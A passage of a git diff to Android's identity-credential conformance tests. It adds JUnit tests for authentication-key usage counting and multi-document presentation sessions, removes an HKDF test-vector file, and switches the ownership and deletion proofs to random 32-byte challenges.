+        assertEquals(5, certs.size());
+
+        // Certify authKeys 0 and 1
+        //
+        X509Certificate key0Cert = new ArrayList<X509Certificate>(certs).get(0);
+        credential.storeStaticAuthenticationData(key0Cert, new byte[]{42, 43, 44});
+        X509Certificate key1Cert = new ArrayList<X509Certificate>(certs).get(1);
+        credential.storeStaticAuthenticationData(key1Cert, new byte[]{43, 44, 45});
+
+        // Get ready to present...
+        //
+        Map<String, Collection<String>> entriesToRequest = new LinkedHashMap<>();
+        entriesToRequest.put("org.iso.18013-5.2019", Arrays.asList("First name", "Last name"));
+        KeyPair ephemeralKeyPair = credential.createEphemeralKeyPair();
+        KeyPair readerEphemeralKeyPair = Util.createEphemeralKeyPair();
+        byte[] sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+        credential.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
+
+        // First getEntries() call should pick key0
+        //
+        ResultData rd = credential.getEntries(
+                Util.createItemsRequest(entriesToRequest, null),
+                entriesToRequest,
+                sessionTranscript,
+                null);
+        assertArrayEquals(new int[]{1, 0, 0, 0, 0}, credential.getAuthenticationDataUsageCount());
+        assertArrayEquals(new byte[]{42, 43, 44}, rd.getStaticAuthenticationData());
+
+        // Doing another getEntries() call on the same object should use the same key. Check this
+        // by inspecting use-counts and the static authentication data.
+        //
+        rd = credential.getEntries(
+            Util.createItemsRequest(entriesToRequest, null),
+            entriesToRequest,
+            sessionTranscript,
+            null);
+        assertArrayEquals(new int[]{1, 0, 0, 0, 0}, credential.getAuthenticationDataUsageCount());
+        assertArrayEquals(new byte[]{42, 43, 44}, rd.getStaticAuthenticationData());
+    }
+
+    @Test
+    public void dynamicAuthNoUsageCountIncrement() throws Exception {
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+        assumeTrue(
+            "IdentityCredential.setIncrementKeyUsageCount(boolean) not supported",
+            TestUtil.getFeatureVersion() >= 202201);
+
+        String credentialName = "test";
+
+        store.deleteCredentialByName(credentialName);
+        Collection<X509Certificate> certChain = ProvisioningTest.createCredential(store,
+                                                                                  credentialName);
+
+        IdentityCredential credential = store.getCredentialByName(
+            credentialName,
+            IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertNotNull(credential);
+        assertArrayEquals(new int[0], credential.getAuthenticationDataUsageCount());
+
+        credential.setAvailableAuthenticationKeys(5, 3);
+        assertArrayEquals(new int[]{0, 0, 0, 0, 0},
+                          credential.getAuthenticationDataUsageCount());
+
+        Collection<X509Certificate> certs = credential.getAuthKeysNeedingCertification();
+        assertEquals(5, certs.size());
+
+        // Certify authKeys 0 and 1
+        //
+        X509Certificate key0Cert = new ArrayList<X509Certificate>(certs).get(0);
+        credential.storeStaticAuthenticationData(key0Cert, new byte[]{42, 43, 44});
+        X509Certificate key1Cert = new ArrayList<X509Certificate>(certs).get(1);
+        credential.storeStaticAuthenticationData(key1Cert, new byte[]{43, 44, 45});
+
+        // Get ready to present...
+        //
+        Map<String, Collection<String>> entriesToRequest = new LinkedHashMap<>();
+        entriesToRequest.put("org.iso.18013-5.2019", Arrays.asList("First name", "Last name"));
+        KeyPair ephemeralKeyPair = credential.createEphemeralKeyPair();
+        KeyPair readerEphemeralKeyPair = Util.createEphemeralKeyPair();
+        byte[] sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+        credential.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
+
+        // First getEntries() call should pick key0
+        //
+        ResultData rd = credential.getEntries(
+            Util.createItemsRequest(entriesToRequest, null),
+            entriesToRequest,
+            sessionTranscript,
+            null);
+        assertArrayEquals(new int[]{1, 0, 0, 0, 0}, credential.getAuthenticationDataUsageCount());
+        assertArrayEquals(new byte[]{42, 43, 44}, rd.getStaticAuthenticationData());
+
+        // Now configure to not increase the usage count... we should be able to do as many
+        // presentations as we want and usage counts shouldn't change. We'll just do 3.
+        //
+        // Note that key1 will be picked (we can check that by inspecting static authentication
+        // data) but its usage count won't be increased.
+        //
+        credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        ephemeralKeyPair = credential.createEphemeralKeyPair();
+        readerEphemeralKeyPair = Util.createEphemeralKeyPair();
+        sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+        credential.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
+        credential.setIncrementKeyUsageCount(false);
+        for (int n = 0; n < 3; n++) {
+            rd = credential.getEntries(
+                Util.createItemsRequest(entriesToRequest, null),
+                entriesToRequest,
+                sessionTranscript,
+                null);
+            assertArrayEquals(new int[]{1, 0, 0, 0, 0},
+                              credential.getAuthenticationDataUsageCount());
+            assertArrayEquals(new byte[]{43, 44, 45}, rd.getStaticAuthenticationData());
+        }
+
+        // With usage counts incrementing again, do another getEntries() call. It should pick key1
+        // and use it up. Check this by inspecting use-counts and the static authentication data.
+        //
+        credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        ephemeralKeyPair = credential.createEphemeralKeyPair();
+        readerEphemeralKeyPair = Util.createEphemeralKeyPair();
+        sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+        credential.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
+        rd = credential.getEntries(
+            Util.createItemsRequest(entriesToRequest, null),
+            entriesToRequest,
+            sessionTranscript,
+            null);
+        assertArrayEquals(new int[]{1, 1, 0, 0, 0}, credential.getAuthenticationDataUsageCount());
+        assertArrayEquals(new byte[]{43, 44, 45}, rd.getStaticAuthenticationData());
+    }
+
     // TODO: test storeStaticAuthenticationData() throwing UnknownAuthenticationKeyException
     // on an unknown auth key
 }
diff --git a/tests/tests/identity/src/android/security/identity/cts/EphemeralKeyTest.java b/tests/tests/identity/src/android/security/identity/cts/EphemeralKeyTest.java
index 4441dd5..0198602 100644
--- a/tests/tests/identity/src/android/security/identity/cts/EphemeralKeyTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/EphemeralKeyTest.java
@@ -30,6 +30,7 @@
 import android.security.identity.IdentityCredentialException;
 import android.security.identity.IdentityCredentialStore;
 import androidx.test.InstrumentationRegistry;
+import com.android.security.identity.internal.Util;
 
 import org.junit.Test;
 
@@ -60,7 +61,7 @@
 
     @Test
     public void createEphemeralKey() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
diff --git a/tests/tests/identity/src/android/security/identity/cts/HkdfTest.java b/tests/tests/identity/src/android/security/identity/cts/HkdfTest.java
deleted file mode 100644
index eee69f6..0000000
--- a/tests/tests/identity/src/android/security/identity/cts/HkdfTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.identity.cts;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.security.GeneralSecurityException;
-import java.util.Random;
-
-/*
- * This is based on https://github.com/google/tink/blob/master/java/src/test/java/com/google
- * /crypto/tink/subtle/HkdfTest.java
- * which is also Copyright (c) Google and licensed under the Apache 2 license.
- */
-@RunWith(JUnit4.class)
-public class HkdfTest {
-
-    static Random sRandom = new Random();
-
-    /** Encodes a byte array to hex. */
-    static String hexEncode(final byte[] bytes) {
-        String chars = "0123456789abcdef";
-        StringBuilder result = new StringBuilder(2 * bytes.length);
-        for (byte b : bytes) {
-            // convert to unsigned
-            int val = b & 0xff;
-            result.append(chars.charAt(val / 16));
-            result.append(chars.charAt(val % 16));
-        }
-        return result.toString();
-    }
-
-    /** Decodes a hex string to a byte array. */
-    static byte[] hexDecode(String hex) {
-        if (hex.length() % 2 != 0) {
-            throw new IllegalArgumentException("Expected a string of even length");
-        }
-        int size = hex.length() / 2;
-        byte[] result = new byte[size];
-        for (int i = 0; i < size; i++) {
-            int hi = Character.digit(hex.charAt(2 * i), 16);
-            int lo = Character.digit(hex.charAt(2 * i + 1), 16);
-            if ((hi == -1) || (lo == -1)) {
-                throw new IllegalArgumentException("input is not hexadecimal");
-            }
-            result[i] = (byte) (16 * hi + lo);
-        }
-        return result;
-    }
-
-    static byte[] randBytes(int numBytes) {
-        byte[] bytes = new byte[numBytes];
-        sRandom.nextBytes(bytes);
-        return bytes;
-    }
-
-    @Test
-    public void testNullSaltOrInfo() throws Exception {
-        byte[] ikm = randBytes(20);
-        byte[] info = randBytes(20);
-        int size = 40;
-
-        byte[] hkdfWithNullSalt = Util.computeHkdf("HmacSha256", ikm, null, info, size);
-        byte[] hkdfWithEmptySalt = Util.computeHkdf("HmacSha256", ikm, new byte[0], info, size);
-        assertArrayEquals(hkdfWithNullSalt, hkdfWithEmptySalt);
-
-        byte[] salt = randBytes(20);
-        byte[] hkdfWithNullInfo = Util.computeHkdf("HmacSha256", ikm, salt, null, size);
-        byte[] hkdfWithEmptyInfo = Util.computeHkdf("HmacSha256", ikm, salt, new byte[0], size);
-        assertArrayEquals(hkdfWithNullInfo, hkdfWithEmptyInfo);
-    }
-
-    @Test
-    public void testInvalidCodeSize() throws Exception {
-        try {
-            Util.computeHkdf("HmacSha256", new byte[0], new byte[0], new byte[0], 32 * 256);
-            fail("Invalid size, should have thrown exception");
-        } catch (RuntimeException expected) {
-
-            // Expected
-        }
-    }
-
-    /**
-     * Tests the implementation against the test vectors from RFC 5869.
-     */
-    @Test
-    public void testVectors() throws Exception {
-        // Test case 1
-        assertEquals(
-                "3cb25f25faacd57a90434f64d0362f2a2d2d0a90cf"
-                + "1a5a4c5db02d56ecc4c5bf34007208d5b887185865",
-                computeHkdfHex("HmacSha256",
-                        "0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b",
-                        "000102030405060708090a0b0c",
-                        "f0f1f2f3f4f5f6f7f8f9",
-                        42));
-
-        // Test case 2
-        assertEquals(
-                "b11e398dc80327a1c8e7f78c596a49344f012eda2d4efad8a050cc4c19afa97c"
-                        + "59045a99cac7827271cb41c65e590e09da3275600c2f09b8367793a9aca3db71"
-                        + "cc30c58179ec3e87c14c01d5c1f3434f1d87",
-                computeHkdfHex("HmacSha256",
-                        "000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f"
-                                + "202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f"
-                                + "404142434445464748494a4b4c4d4e4f",
-                        "606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f"
-                                + "808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f"
-                                + "a0a1a2a3a4a5a6a7a8a9aaabacadaeaf",
-                        "b0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecf"
-                                + "d0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeef"
-                                + "f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",
-                        82));
-
-        // Test case 3: salt is empty
-        assertEquals(
-                "8da4e775a563c18f715f802a063c5a31b8a11f5c5ee1879ec3454e5f3c738d2d"
-                        + "9d201395faa4b61a96c8",
-                computeHkdfHex("HmacSha256",
-                        "0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b", "", "",
-                        42));
-
-        // Test Case 4
-        assertEquals(
-                "085a01ea1b10f36933068b56efa5ad81a4f14b822f"
-                + "5b091568a9cdd4f155fda2c22e422478d305f3f896",
-                computeHkdfHex(
-                        "HmacSha1",
-                        "0b0b0b0b0b0b0b0b0b0b0b",
-                        "000102030405060708090a0b0c",
-                        "f0f1f2f3f4f5f6f7f8f9",
-                        42));
-
-        // Test Case 5
-        assertEquals(
-                "0bd770a74d1160f7c9f12cd5912a06ebff6adcae899d92191fe4305673ba2ffe"
-                        + "8fa3f1a4e5ad79f3f334b3b202b2173c486ea37ce3d397ed034c7f9dfeb15c5e"
-                        + "927336d0441f4c4300e2cff0d0900b52d3b4",
-                computeHkdfHex(
-                        "HmacSha1",
-                        "000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f"
-                                + "202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f"
-                                + "404142434445464748494a4b4c4d4e4f",
-                        "606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f"
-                                + "808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f"
-                                + "a0a1a2a3a4a5a6a7a8a9aaabacadaeaf",
-                        "b0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecf"
-                                + "d0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeef"
-                                + "f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",
-                        82));
-
-        // Test Case 6: salt is empty
-        assertEquals(
-                "0ac1af7002b3d761d1e55298da9d0506b9ae52057220a306e07b6b87e8df21d0"
-                        + "ea00033de03984d34918",
-                computeHkdfHex("HmacSha1", "0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b", "", "",
-                        42));
-
-        // Test Case 7
-        assertEquals(
-                "2c91117204d745f3500d636a62f64f0ab3bae548aa53d423b0d1f27ebba6f5e5"
-                        + "673a081d70cce7acfc48",
-                computeHkdfHex("HmacSha1", "0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c", "", "",
-                        42));
-    }
-
-    /**
-     * Test version of Hkdf where all inputs and outputs are hexadecimal.
-     */
-    private String computeHkdfHex(String macAlgorithm, String ikmHex, String saltHex,
-            String infoHex,
-            int size) throws GeneralSecurityException {
-        return hexEncode(
-                Util.computeHkdf(macAlgorithm, hexDecode(ikmHex), hexDecode(saltHex),
-                        hexDecode(infoHex), size));
-    }
-
-}
diff --git a/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java b/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
new file mode 100644
index 0000000..ce75658
--- /dev/null
+++ b/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.identity.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+
+import android.hardware.biometrics.CryptoObject;
+import android.security.identity.AccessControlProfile;
+import android.security.identity.AccessControlProfileId;
+import android.security.identity.PersonalizationData;
+import android.security.identity.IdentityCredential;
+import android.security.identity.IdentityCredentialException;
+import android.security.identity.IdentityCredentialStore;
+import android.security.identity.InvalidReaderSignatureException;
+import android.security.identity.ResultData;
+import android.security.identity.WritableIdentityCredential;
+import android.security.identity.PresentationSession;
+import android.security.identity.CredentialDataRequest;
+import android.security.identity.CredentialDataResult;
+import com.android.security.identity.internal.Util;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+import java.io.ByteArrayOutputStream;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.KeyPair;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.SignatureException;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import java.time.Instant;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+import co.nstant.in.cbor.CborException;
+
+import javax.crypto.SecretKey;
+
+public class MultiDocumentPresentationTest {
+    private static final String TAG = "MultiDocumentPresentationTest";
+
+    int[] getAuthKeyUsageCount(IdentityCredentialStore store, String credentialName)
+        throws Exception {
+        IdentityCredential credential = store.getCredentialByName(
+            credentialName,
+            IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        return credential.getAuthenticationDataUsageCount();
+    }
+
+    static Collection<X509Certificate> createAuthKeys(IdentityCredentialStore store, String credentialName)
+            throws Exception {
+        IdentityCredential credential = store.getCredentialByName(
+            credentialName,
+            IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        credential.setAvailableAuthenticationKeys(5, 3);
+        Collection<X509Certificate> certificates = credential.getAuthKeysNeedingCertification();
+        for (X509Certificate certificate : certificates) {
+            credential.storeStaticAuthenticationData(certificate, new byte[]{42, 43, 44});
+        }
+        return certificates;
+    }
+
+    @Test
+    public void multipleDocuments() throws Exception {
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
+        assumeTrue("IdentityCredentialStore.createPresentationSession(int) not supported",
+                   TestUtil.getFeatureVersion() >= 202201);
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+
+        store.deleteCredentialByName("credential1");
+        assertNull(store.deleteCredentialByName("credential1"));
+        ProvisioningTest.createCredential(store, "credential1");
+        Collection<X509Certificate> credential1AuthKeys = createAuthKeys(store, "credential1");
+
+        store.deleteCredentialByName("credential2");
+        assertNull(store.deleteCredentialByName("credential2"));
+        ProvisioningTest.createCredential(store, "credential2");
+        Collection<X509Certificate> credential2AuthKeys = createAuthKeys(store, "credential2");
+
+        PresentationSession session = store.createPresentationSession(
+            IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+
+        KeyPair ephemeralKeyPair = session.getEphemeralKeyPair();
+        KeyPair readerEphemeralKeyPair = Util.createEphemeralKeyPair();
+        session.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
+        byte[] sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+        session.setSessionTranscript(sessionTranscript);
+
+        checkPresentation(session, "credential1",
+                          credential1AuthKeys.iterator().next().getPublicKey(),
+                          readerEphemeralKeyPair.getPrivate(), sessionTranscript);
+        // We should only have used a single key here.
+        assertArrayEquals(new int[]{1, 0, 0, 0, 0}, getAuthKeyUsageCount(store, "credential1"));
+
+        checkPresentation(session, "credential2",
+                          credential2AuthKeys.iterator().next().getPublicKey(),
+                          readerEphemeralKeyPair.getPrivate(), sessionTranscript);
+        assertArrayEquals(new int[]{1, 0, 0, 0, 0}, getAuthKeyUsageCount(store, "credential2"));
+
+        // Since it's the same session, additional getCredentialData() calls shouldn't consume
+        // additional auth-keys. Check this.
+        checkPresentation(session, "credential1",
+                          null,
+                          readerEphemeralKeyPair.getPrivate(), sessionTranscript);
+        assertArrayEquals(new int[]{1, 0, 0, 0, 0}, getAuthKeyUsageCount(store, "credential1"));
+    }
+
+    static void checkPresentation(PresentationSession session,
+                                  String credentialName,
+                                  PublicKey expectedAuthKey,
+                                  PrivateKey readerEphemeralPrivateKey,
+                                  byte[] sessionTranscript) throws Exception {
+        // Now use one of the keys...
+        Map<String, Collection<String>> dsEntriesToRequest = new LinkedHashMap<>();
+        dsEntriesToRequest.put("org.iso.18013-5.2019",
+                Arrays.asList("First name",
+                        "Last name",
+                        "Home address",
+                        "Birth date",
+                        "Cryptanalyst",
+                        "Portrait image",
+                        "Height"));
+        CredentialDataResult rd = session.getCredentialData(
+            credentialName,
+            new CredentialDataRequest.Builder()
+            .setDeviceSignedEntriesToRequest(dsEntriesToRequest)
+            .setRequestMessage(Util.createItemsRequest(dsEntriesToRequest, null))
+            .setAllowUsingExhaustedKeys(true)
+            .setReaderSignature(null)
+            .setIncrementUseCount(true)
+            .setAllowUsingExpiredKeys(false)
+            .build());
+        byte[] resultCbor = rd.getDeviceNameSpaces();
+        try {
+            String pretty = Util.cborPrettyPrint(Util.canonicalizeCbor(resultCbor));
+            assertEquals("{\n"
+                         + "  'org.iso.18013-5.2019' : {\n"
+                         + "    'Height' : 180,\n"
+                         + "    'Last name' : 'Turing',\n"
+                         + "    'Birth date' : '19120623',\n"
+                         + "    'First name' : 'Alan',\n"
+                         + "    'Cryptanalyst' : true,\n"
+                         + "    'Home address' : 'Maida Vale, London, England',\n"
+                         + "    'Portrait image' : [0x01, 0x02]\n"
+                         + "  }\n"
+                         + "}",
+                         pretty);
+        } catch (CborException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+
+        byte[] deviceAuthenticationCbor = Util.buildDeviceAuthenticationCbor(
+            "org.iso.18013-5.2019.mdl",
+            sessionTranscript,
+            resultCbor);
+
+        if (expectedAuthKey != null) {
+            // Calculate the MAC by deriving the key using ECDH and HKDF.
+            SecretKey eMacKey = Util.calcEMacKeyForReader(
+                expectedAuthKey,
+                readerEphemeralPrivateKey,
+                sessionTranscript);
+            byte[] deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
+            byte[] expectedMac = Util.coseMac0(eMacKey,
+                                               new byte[0],                 // payload
+                                               deviceAuthenticationBytes);  // detached content
+
+            // Then compare it with what the TA produced.
+            assertArrayEquals(expectedMac, rd.getDeviceMac());
+        }
+    }
+
+    @Test
+    public void cryptoObjectReturnsCorrectSession() throws Exception {
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
+        assumeTrue("IdentityCredentialStore.createPresentationSession(int) not supported",
+                   TestUtil.getFeatureVersion() >= 202201);
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+
+        PresentationSession session = store.createPresentationSession(
+            IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+
+        CryptoObject cryptoObject = new CryptoObject(session);
+        assertEquals(session, cryptoObject.getPresentationSession());
+    }
+}
diff --git a/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java b/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java
index b78cb98..39e7d5e 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java
@@ -42,6 +42,7 @@
 import android.security.identity.WritableIdentityCredential;
 import android.security.identity.SessionTranscriptMismatchException;
 import androidx.test.InstrumentationRegistry;
+import com.android.security.identity.internal.Util;
 
 import org.junit.Test;
 
@@ -50,6 +51,7 @@
 import java.security.InvalidKeyException;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
+import java.security.SecureRandom;
 import java.security.cert.CertificateEncodingException;
 import java.security.cert.X509Certificate;
 import java.util.Arrays;
@@ -74,6 +76,14 @@
 public class ProvisioningTest {
     private static final String TAG = "ProvisioningTest";
 
+    // An implementation must support challenges at least this big for
+    // IdentityCredential.proveOwnership().
+    private static final int PROVE_OWNERSHIP_MINIMUM_SUPPORTED_CHALLENGE_SIZE = 32;
+
+    // An implementation must support challenges at least this big
+    // for IdentityCredential.delete().
+    private static final int DELETE_MINIMUM_SUPPORTED_CHALLENGE_SIZE = 32;
+
     private static byte[] getExampleDrivingPrivilegesCbor() {
         // As per 7.4.4 of ISO 18013-5, driving privileges are defined with the following CDDL:
         //
@@ -368,7 +378,7 @@
 
     @Test
     public void alreadyPersonalized() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -387,7 +397,7 @@
 
     @Test
     public void nonExistent() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -400,7 +410,7 @@
 
     @Test
     public void defaultStoreSupportsAnyDocumentType() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -412,7 +422,7 @@
     @Test
     public void deleteCredentialByName()
             throws IdentityCredentialException, CborException, CertificateEncodingException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -450,11 +460,11 @@
     @Test
     public void deleteCredential()
             throws IdentityCredentialException, CborException, CertificateEncodingException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
-        assumeTrue("IdentityCredential.delete() not supported", Util.getFeatureVersion() >= 202101);
+        assumeTrue("IdentityCredential.delete() not supported", TestUtil.getFeatureVersion() >= 202101);
 
         store.deleteCredentialByName("test");
         assertNull(store.deleteCredentialByName("test"));
@@ -469,13 +479,25 @@
                 IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
         assertNotNull(credential);
 
-        byte[] challenge = new byte[]{0x20, 0x21};
+        StringBuilder sb = new StringBuilder("['ProofOfDeletion', 'org.iso.18013-5.2019.mdl', [");
+        byte[] challenge = new byte[DELETE_MINIMUM_SUPPORTED_CHALLENGE_SIZE];
+        SecureRandom random = new SecureRandom();
+        random.nextBytes(challenge);
+        for (int n = 0; n < challenge.length; n++) {
+            if (n > 0) {
+                sb.append(", ");
+            }
+            sb.append(String.format("0x%02x", (byte) (int) challenge[n]));
+        }
+        sb.append("], false]");
+        String expectedPrettyCbor = sb.toString();
+
         byte[] proofOfDeletionSignature = credential.delete(challenge);
         byte[] proofOfDeletion = Util.coseSign1GetData(proofOfDeletionSignature);
 
         // Check the returned CBOR is what is expected.
         String pretty = Util.cborPrettyPrint(proofOfDeletion);
-        assertEquals("['ProofOfDeletion', 'org.iso.18013-5.2019.mdl', [0x20, 0x21], false]", pretty);
+        assertEquals(expectedPrettyCbor, pretty);
 
         try {
             assertTrue(Util.coseSign1CheckSignature(
@@ -494,11 +516,11 @@
     @Test
     public void proofOfOwnership()
             throws IdentityCredentialException, CborException, CertificateEncodingException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
-        assumeTrue("IdentityCredential.proveOwnership() not supported", Util.getFeatureVersion() >= 202101);
+        assumeTrue("IdentityCredential.proveOwnership() not supported", TestUtil.getFeatureVersion() >= 202101);
 
         store.deleteCredentialByName("test");
         assertNull(store.deleteCredentialByName("test"));
@@ -510,14 +532,25 @@
                 IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
         assertNotNull(credential);
 
-        byte[] challenge = new byte[]{0x12, 0x22};
+        StringBuilder sb = new StringBuilder("['ProofOfOwnership', 'org.iso.18013-5.2019.mdl', [");
+        byte[] challenge = new byte[PROVE_OWNERSHIP_MINIMUM_SUPPORTED_CHALLENGE_SIZE];
+        SecureRandom random = new SecureRandom();
+        random.nextBytes(challenge);
+        for (int n = 0; n < challenge.length; n++) {
+            int value = (int) challenge[n];
+            if (n > 0) {
+                sb.append(", ");
+            }
+            sb.append(String.format("0x%02x", (byte) value));
+        }
+        sb.append("], false]");
+        String expectedPrettyCbor = sb.toString();
         byte[] proofOfOwnershipSignature = credential.proveOwnership(challenge);
         byte[] proofOfOwnership = Util.coseSign1GetData(proofOfOwnershipSignature);
 
         // Check the returned CBOR is what is expected.
         String pretty = Util.cborPrettyPrint(proofOfOwnership);
-        assertEquals("['ProofOfOwnership', 'org.iso.18013-5.2019.mdl', [0x12, 0x22], false]",
-                pretty);
+        assertEquals(expectedPrettyCbor, pretty);
 
         try {
             assertTrue(Util.coseSign1CheckSignature(
